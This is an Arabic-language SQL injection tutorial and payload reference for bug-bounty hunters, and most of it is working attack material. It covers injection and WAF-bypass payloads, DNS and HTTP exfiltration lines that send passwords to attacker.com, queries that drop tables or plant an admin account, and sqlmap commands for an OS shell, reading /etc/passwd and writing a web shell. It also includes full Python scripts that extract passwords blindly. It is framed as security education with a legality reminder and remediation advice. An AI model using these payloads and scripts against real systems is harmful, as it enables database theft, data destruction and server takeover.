SQL Injection
المرجع النهائي لصيادين الثغرات
بلاش Copy-Paste عشوائي. هنا هنفهم الموضوع من جواه، وهنبقى نعرف إحنا بنعمل إيه بالظبط.
يا صاحبي، معظم المقالات بتديك Payloads وتقولك "جرب دي". لكن هنا الموضوع مختلف. هنفهم ليه الـ Payload بيشتغل أصلاً، وإزاي الـ Database بيفكر.
📚 لو أنت مبتدئ؟
لو أول مرة تسمع عن SQL Injection، ابدأ بالمقال المبسط ده الأول: ما هو SQL Injection؟ وبعدين ارجع هنا للتفاصيل العميقة.
الـ SQL Injection مش مجرد "ثغرة" يا معلم. دي فشل في فصل الـ Data عن الـ Code. لما المبرمج يعمل String Concatenation، بيديك فرصة "تهرب" من مكانك كـ Data وتدخل تنفذ أوامر.
تخيل إنك بتكلم روبوت بيفهم SQL بس. المبرمج قاله: "دور على اليوزر اللي اسمه [XXX]". أنت كتبت اسمك في الخانة. بس لو كتبت: Ahmed'; DROP TABLE users; -- الروبوت هيقرا: "دور على 'Ahmed'، بعدين امسح جدول اليوزرز، وتجاهل الباقي". وخلاص كده، أنت جوا!
مرحلة الاكتشاف (Discovery)
قبل ما تستغل أي حاجة، لازم تثبت إنها موجودة. زي الطبيب بالظبط، بيشخص الأول.
Integer Based
لما الـ Parameter بتاعك رقم، السيرفر مش بيحط Quotes حواليه. يعني تقدر تعمل عمليات حسابية!
-- لو الصفحة بتاعة id=100
id=101-1
-- لو رجعت صفحة 100، يبقى Vulnerable!
-- Boolean Test
id=100 AND 1=1 -- الصفحة عادية
id=100 AND 1=0 -- الصفحة فاضية أو غريبة
String Based
لما القيمة محاطة بـ Quote. لازم "تكسر" الـ Quote وتهرب منها!
-- كسر السياق
'
-- إصلاح الـ Syntax
' OR '1'='1
-- تعليق الباقي
' OR '1'='1' -- -
' OR '1'='1' #
Blind SQLi
الموقع مش بيرجعلك أي حاجة مفيدة؟ استخدم الوقت أو المنطق!
-- لو السيرفر اتأخر 10 ثواني، يبقى Vulnerable
' AND SLEEP(10) -- -
-- Boolean Test
' AND 1=1 -- - (الصفحة عادية)
' AND 1=0 -- - (الصفحة مختلفة)
🔍 بصمة قاعدة البيانات (Fingerprinting)
كل Database بتتكلم لهجة مختلفة يا صاحبي. لازم تعرف مين اللي قدامك قبل ما تهاجمه. MySQL ولا PostgreSQL ولا MSSQL؟
💡 نصيحة
أسهل طريقة: جرب أنواع Comments مختلفة. الـ # بيشتغل في MySQL بس!
-- MySQL بس
admin' #
-- كل الـ Databases
admin' -- -
admin' --
-- MySQL
CONCAT('a','b') أو 'a' 'b'
-- PostgreSQL / Oracle
'a'||'b'
-- MSSQL
'a'+'b'
مرحلة الاستغلال (Exploitation)
دلوقتي بقى عرفنا إن في ثغرة. تعالى ناخد الـ Data!
🎯 UNION Attack
الـ UNION بيسمحلك تدمج نتايج Query تانية مع نتايج الموقع الأصلية. بس لازم شرطين:
- نفس عدد الأعمدة: لازم الـ Query بتاعك يرجع نفس عدد الأعمدة.
- أنواع البيانات: في بعض الـ Databases، لازم الأنواع تتطابق. استخدم
NULLعشان تتجاوز ده.
-- Binary Search
' ORDER BY 5 -- - (OK)
' ORDER BY 6 -- - (Error)
-- يبقى 5 أعمدة!
' UNION SELECT 1,2,3,4,5 -- -
-- لو شفت رقم "3" على الصفحة، يبقى العمود ده هو الـ Output بتاعك
' UNION SELECT 1,2,@@version,4,5 -- -
' UNION SELECT 1,2,user(),4,5 -- -
' UNION SELECT 1,2,database(),4,5 -- -
🚀 DIOS (Dump In One Shot)
ده سلاح المحترفين يا معلم! بدل ما تبعت 100 Request، تبعت واحد بس وتجيب كل حاجة.
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema != 'information_schema') AND (@)IN (@:=CONCAT(@,0x3C62723E,table_schema,'=>',table_name,'=>',column_name))))a)
⚠️ تحذير
بعض الـ WAFs بتحظر information_schema. جرب sys.schema_auto_increment_columns كبديل.
تجاوز الـ WAF
الـ Firewall بيفتش عليك؟ تعالى نتحايل عليه!
Comments Trick
UN/**/ION SEL/**/ECT
/*!50000UNION*/ SELECT
Encoding
0x61646D696E = 'admin'
%55%4E%49%4F%4E = UNION
Case Mixing
uNiOn SeLeCt
UnIoN AlL sElEcT
UNION%09SELECT -- TAB
UNION%0ASELECT -- New Line
UNION%0DSELECT -- Carriage Return
UNION/**/SELECT -- Comment
UNION(SELECT) -- Parentheses
🤖 SQLMap زي المحترفين
الأداة دي قوية جداً، بس معظم الناس بتستخدمها غلط. خد الأوامر دي وشكرني بعدين!
# استخدم ملف Request من Burp
sqlmap -r request.txt --dbs --random-agent
# فحص شامل (Cookies + Headers)
sqlmap -r request.txt --level=5 --risk=3
# تجاوز WAF
sqlmap -r request.txt --tamper=space2comment,between
# OS Shell (RCE)
sqlmap -r request.txt --os-shell
# قراءة ملفات من السيرفر
sqlmap -r request.txt --file-read="/etc/passwd"
🎯 Tamper Scripts المهمة
space2comment • between • randomcase • charencode
🐍 سكربت Python للـ Blind SQLi
لما SQLMap يفشل أو الموقع معقد، اكتب الـ Exploit بنفسك!
import requests
import time
url = "http://target.com/vuln.php"
chars = "abcdef0123456789"
password = ""
for pos in range(1, 33): # MD5 = 32 chars
for c in chars:
payload = f"1' AND SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{c}' AND SLEEP(3)-- -"
start = time.time()
requests.get(url, params={"id": payload})
elapsed = time.time() - start
if elapsed > 2.5:
password += c
print(f"[+] Found: {password}")
break
print(f"[✓] Password: {password}")
📝 التقرير الاحترافي
لقيت الثغرة؟ حلو. بس لو مش عارف تكتب Report كويس، مش هتاخد فلوس. الشركات بتدفع للـ Impact مش للـ Effort.
## Vulnerability Report
### Title
Critical Blind SQL Injection in `/api/products` via `category_id`
### Severity
Critical (CVSS 9.8)
### Summary
The `category_id` parameter is vulnerable to Blind SQLi.
Attacker can extract full database including user credentials.
### Steps to Reproduce
1. Open Burp Suite
2. Send: GET /api/products?category_id=1' AND SLEEP(10)-- -
3. Observe 10-second delay
### Impact
- Confidentiality: HIGH (Full DB dump)
- Integrity: HIGH (Data modification)
- Availability: MEDIUM (DoS via heavy queries)
### Remediation
Use Prepared Statements (PDO/MySQLi)
نقاط الدخول المتقدمة
الـ GET و POST مش كل حاجة! في أماكن تانية كتير ممكن تكون Vulnerable.
🔐 حقن الـ HTTP Headers
يا صاحبي، المبرمجين بيثقوا في الـ Headers لأنها "جاية من المتصفح". بس أنت بتتحكم فيها بالكامل من Burp! الـ Headers اللي غالباً بتكون Vulnerable:
- User-Agent: بيتخزن في الـ Analytics والـ Logs
- Referer: بيتخزن لتتبع مصدر الزيارات
- X-Forwarded-For: بيستخدموه لمعرفة الـ IP الحقيقي
- Cookie: بتتقرا وتتخزن في الـ Database
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla' OR (SELECT SLEEP(10)) -- -
Accept: */*
-- لو السيرفر اتأخر 10 ثواني، الـ User-Agent Vulnerable!
GET / HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1' UNION SELECT user(),database(),version() -- -
-- ده بيعدي من كتير من الـ IP-based WAF rules!
🍪 حقن الـ Cookies
الـ Cookies بتتقرا من الـ Backend وكتير بتتخزن في الـ Database. لو الموقع بيخزنها من غير Sanitization، يبقى مصاب!
GET /dashboard.php HTTP/1.1
Host: target.com
Cookie: session_id=abc123'; UPDATE users SET role='admin' WHERE id=1; -- -
-- ده ممكن يرفع الـ Privileges بتاعتك لو Stacked Queries مدعومة!
📦 حقن الـ JSON (REST APIs)
في عصر الـ React و Vue و Angular، معظم المواقع بتتكلم JSON. الحقن هنا ليه تحدياته:
💡 تحديات JSON
• الـ JSON بيستخدم " للنصوص، مش '
• لو كسرت الـ JSON Syntax، مش هيوصل للـ SQL أصلاً
• الحل: ركز على القيم الرقمية (Integer) أو استخدم Unicode
POST /api/products HTTP/1.1
Content-Type: application/json
{
"category_id": 1 OR 1=1,
"limit": 10
}
-- مش محتاج Quotes للـ Integer values!
{
"username": "admin'-- -",
"password": "anything"
}
-- بعض الـ Parsers بتسمح بـ Single Quotes جوا Double Quotes
Error-Based & Out-of-Band
لما الموقع أعمى بس بيرجع Errors، أو أعمى خالص!
🔴 Error-Based Injection
لما الموقع مش بيعرض نتايج الـ UNION، بس بيعرض رسايل الأخطاء. نستخدم دوال XML زي ExtractValue() أو UpdateXML().
الدوال دي بتتوقع XPath صحيح. لو إديتها نتيجة SQL Query بدل XPath، هتفشل وتطبع النتيجة جوا رسالة الخطأ!
-- MySQL Error-Based
AND extractvalue(rand(),concat(0x3a,(SELECT @@version)))-- -
-- Expected Error: "XPATH syntax error: ':8.0.31-Ubuntu'"
-- MySQL Error-Based (Alternative)
AND updatexml(null,concat(0x3a,(SELECT user())),null)-- -
-- Expected Error: "XPATH syntax error: ':root@localhost'"
🌐 Out-of-Band (OOB) Exfiltration
ده لما الموقع أعمى تماماً ومش بيرجع أي حاجة. الفكرة إنك تخلي السيرفر يبعتلك الـ Data على سيرفر تاني بتملكه (زي Burp Collaborator).
⚠️ ليه DNS؟
الـ DNS غالباً مش محظور في الـ Firewall، فـ بيعدي حتى في البيئات المحمية جداً!
-- بيبعت الـ Password عبر DNS
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'));
-- هتلاقي في DNS Log بتاعك: "admin123.attacker.com"
-- باستخدام UTL_HTTP
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual;
🕐 Second Order SQL Injection
ده نوع خبيث جداً يا صاحبي! الـ Payload مش بينفذ فوراً، بيتخزن في الـ Database وينفجر بعدين لما يتستخدم في Query تاني.
🎭 السيناريو الكلاسيكي
1. اليوزر يسجل باسم: admin'-- -
2. الاسم يتخزن في الـ Users table (مع Escaping صحيح)
3. بعدين، الاسم ده يتستخدم في Query تاني من غير Escaping
4. 💥 الـ Payload ينفجر!
-- Step 1: Registration (Stored safely)
INSERT INTO users (username) VALUES ('admin''-- -'); -- Escaped correctly
-- Step 2: Later Usage (Vulnerable!)
SELECT * FROM orders WHERE customer_name = '$username';
-- Query becomes:
SELECT * FROM orders WHERE customer_name = 'admin'-- -';
🔍 إزاي تكتشفها؟
سجل حساب باسم فيه Payload، وبعدين استخدم كل الـ Features في الموقع (Change Password, Order, Message). راقب أي نقطة بتستخدم اسمك.
⏱️ خوارزمية الاستخراج بالوقت
لما الموقع أعمى تماماً (Blind)، بنستخدم التأخير الزمني عشان نستخرج الـ Data حرف حرف. ده بطيء بس بيشتغل دايماً!
-- MySQL
1' AND (SELECT LENGTH(password) FROM users WHERE id=1)=32 AND SLEEP(5)-- -
-- لو اتأخر 5 ثواني، يبقى الـ Password 32 حرف (MD5 hash)
-- الحرف الأول
1' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a' AND SLEEP(5)-- -
-- الحرف التاني
1' AND SUBSTRING((SELECT password FROM users WHERE id=1),2,1)='b' AND SLEEP(5)-- -
-- وهكذا...
🐍 Python Automation
import requests
import time
import string
url = "http://target.com/vuln.php"
chars = string.ascii_lowercase + string.digits
extracted = ""
print("[*] Starting Time-Based Extraction...")
for pos in range(1, 33): # MD5 = 32 chars
for c in chars:
payload = f"1' AND SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{c}' AND SLEEP(3)-- -"
start = time.time()
try:
requests.get(url, params={"id": payload}, timeout=10)
except:
pass
elapsed = time.time() - start
if elapsed > 2.5:
extracted += c
print(f"[+] Position {pos}: '{c}' | Current: {extracted}")
break
else:
print(f"[-] Position {pos}: Character not found!")
print(f"\n[✓] Final Result: {extracted}")
📚 Stacked Queries
دي تقنية بتسمحلك تنفذ أكتر من Query في طلب واحد. الخطورة إنك تقدر تعمل INSERT, UPDATE, DELETE, وحتى DROP TABLE!
⚠️ مش كل الـ Databases بتدعمها!
❌ MySQL + PHP: غالباً لا (إلا مع mysqli_multi_query)
✅ MSSQL: أيوا
✅ PostgreSQL: أيوا
❌ Oracle: لا
✅ SQLite: أحياناً
1'; INSERT INTO users (username, password, role) VALUES ('hacker', 'pass123', 'admin'); -- -
1'; DROP TABLE users; -- -
-- ⚠️ متعملش ده على Production!
Cheatsheets لكل Database
كل Database ليها دوال ومتغيرات خاصة. خد الـ Reference ده!
MySQL
@@version -- Version
user() -- Current User
database() -- Current DB
SLEEP(5) -- Time Delay
LOAD_FILE('/etc/passwd')
INTO OUTFILE '/var/www/shell.php'
PostgreSQL
version() -- Version
current_user -- Current User
current_database()
pg_sleep(5) -- Time Delay
'a'||'b' -- Concatenation
MSSQL
@@version -- Version
user_name() -- Current User
db_name() -- Current DB
WAITFOR DELAY '0:0:5'
xp_cmdshell 'whoami'
Oracle
SELECT banner FROM v$version
SELECT user FROM dual
'a'||'b' -- Concatenation
-- No native SLEEP function
UTL_HTTP for OOB
🤖 SQLMap: المرجع الكامل 2026
كل الأوامر اللي هتحتاجها في مكان واحد. احفظ الصفحة دي!
# Basic Scan
sqlmap -u "http://target.com/page?id=1"
# Using Burp Request File (Best Practice!)
sqlmap -r request.txt
# List Databases
sqlmap -r request.txt --dbs
# List Tables
sqlmap -r request.txt -D database_name --tables
# List Columns
sqlmap -r request.txt -D db -T table --columns
# Dump Data
sqlmap -r request.txt -D db -T table --dump
# Full Scan (All Entry Points)
sqlmap -r request.txt --level=5 --risk=3
# Random User-Agent
sqlmap -r request.txt --random-agent
# Use Proxy (Burp)
sqlmap -r request.txt --proxy="http://127.0.0.1:8080"
# Batch Mode (No Questions)
sqlmap -r request.txt --batch
# Specific Parameter
sqlmap -r request.txt -p "username"
# POST Data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# OS Shell (RCE!)
sqlmap -r request.txt --os-shell
# SQL Shell
sqlmap -r request.txt --sql-shell
# Read File from Server
sqlmap -r request.txt --file-read="/etc/passwd"
# Write File to Server
sqlmap -r request.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Crack Password Hashes
sqlmap -r request.txt -D db -T users --dump --passwords
# Single Tamper
sqlmap -r request.txt --tamper=space2comment
# Multiple Tampers
sqlmap -r request.txt --tamper=space2comment,between,randomcase
# Popular Tampers:
# space2comment - Replace SPACE with /**/
# between - Replace = with BETWEEN
# randomcase - Random UPPER/lower
# charencode - URL encode characters
# apostrophenullencode - Replace ' with %00'
# equaltolike - Replace = with LIKE
# base64encode - Base64 encode payload
# percentage - Add % between characters
🐍 Python Exploitation Framework
سكربت Python كامل ومتقدم تقدر تستخدمه كـ Template لأدواتك. فيه: Detection, Boolean Extraction, Time-Based Extraction.
#!/usr/bin/env python3
"""
Advanced Blind SQLi Exploitation Framework
Author: Mahmoud Salman | 2026 Edition
"""
import requests
import string
import time
import sys
class BlindSQLi:
def __init__(self, url, param, true_indicator):
self.url = url
self.param = param
self.true_indicator = true_indicator
self.charset = string.ascii_lowercase + string.digits + "_!@#$"
self.session = requests.Session()
def check_vulnerability(self):
"""Test if parameter is vulnerable"""
print("[*] Testing for SQL Injection...")
payload_true = "1' AND '1'='1"
payload_false = "1' AND '1'='2"
r_true = self.session.get(self.url, params={self.param: payload_true})
r_false = self.session.get(self.url, params={self.param: payload_false})
if self.true_indicator in r_true.text and self.true_indicator not in r_false.text:
print("[+] VULNERABLE! Boolean-Based Blind SQLi confirmed!")
return True
else:
print("[-] Not vulnerable or indicator not found")
return False
def extract_length(self, query):
"""Extract length of query result"""
print(f"[*] Extracting length of: {query}")
for length in range(1, 100):
payload = f"1' AND (SELECT LENGTH(({query})))={length} -- -"
r = self.session.get(self.url, params={self.param: payload})
if self.true_indicator in r.text:
print(f"[+] Length found: {length}")
return length
print("[-] Could not determine length")
return 0
def extract_data_boolean(self, query, length):
"""Extract data using Boolean-based technique"""
print(f"[*] Extracting data (Boolean-based)...")
result = ""
for pos in range(1, length + 1):
for char in self.charset:
payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' -- -"
r = self.session.get(self.url, params={self.param: payload})
if self.true_indicator in r.text:
result += char
print(f"[+] Position {pos}: '{char}' | Progress: {result}")
break
return result
def extract_data_time(self, query, length, delay=3):
"""Extract data using Time-based technique"""
print(f"[*] Extracting data (Time-based, delay={delay}s)...")
result = ""
for pos in range(1, length + 1):
for char in self.charset:
payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' AND SLEEP({delay}) -- -"
start = time.time()
try:
self.session.get(self.url, params={self.param: payload}, timeout=delay+5)
except:
pass
elapsed = time.time() - start
if elapsed >= delay - 0.5:
result += char
print(f"[+] Position {pos}: '{char}' | Progress: {result}")
break
return result
if __name__ == "__main__":
# Example Usage
sqli = BlindSQLi(
url="http://target.com/page.php",
param="id",
true_indicator="Welcome"
)
if sqli.check_vulnerability():
# Extract database name
db_len = sqli.extract_length("SELECT database()")
db_name = sqli.extract_data_boolean("SELECT database()", db_len)
print(f"\n[✓] Database: {db_name}")
# Extract password
pass_len = sqli.extract_length("SELECT password FROM users LIMIT 1")
password = sqli.extract_data_boolean("SELECT password FROM users LIMIT 1", pass_len)
print(f"[✓] Password: {password}")
💡 نصائح عملية للـ Bug Hunters
Document Everything
سجل كل حاجة! Screenshots, Burp Logs, Timestamps. ده هيفرق في الـ Report.
Focus on Impact
الشركات بتدفع للـ Impact مش للـ Effort. أثبت إنك قدرت توصل لـ Sensitive Data.
Be Patient
الـ Blind SQLi بطيء. سيب الـ Script يشتغل ومتقلقش.
Stay Legal
اشتغل على targets معندكش Authorization عليها = جريمة. خليك في الـ Bug Bounty Programs!
❓ أسئلة شائعة
إيه الفرق بين Boolean-Based و Time-Based؟
الـ Boolean-Based بتعتمد على فرق في الـ Response (صفحة مختلفة). الـ Time-Based بتعتمد على التأخير الزمني. استخدم Time-Based لما مفيش فرق مرئي في الـ Response.
إيه هو Second Order SQLi؟
الـ Payload بيتخزن الأول وبينفذ بعدين في Query تاني. صعب في الاكتشاف عشان التأثير مش فوري.
Stacked Queries بتشتغل فين؟
غالباً في MSSQL و PostgreSQL. MySQL + PHP عادةً مش بتدعمها إلا مع mysqli_multi_query.
إزاي أعرف نوع الـ Database؟
استخدم Fingerprinting: جرب # (MySQL only)، دوال زي || أو +، أو رسائل الخطأ المميزة.
إيه أهم Tamper Scripts؟
space2comment (الأهم!)، between، randomcase، charencode. جربهم Combination لحد ما يشتغل.
إزاي أتعلم عملي؟
DVWA, SQLi-labs, PortSwigger Academy, HackTheBox. ابدأ بالـ Easy وروح للـ Hard.
الـ Report لازم يبقى إزاي؟
Title + Severity + Summary + Steps to Reproduce + Impact + Remediation. كل ما كان واضح ومختصر، كل ما الـ Bounty جاي أسرع!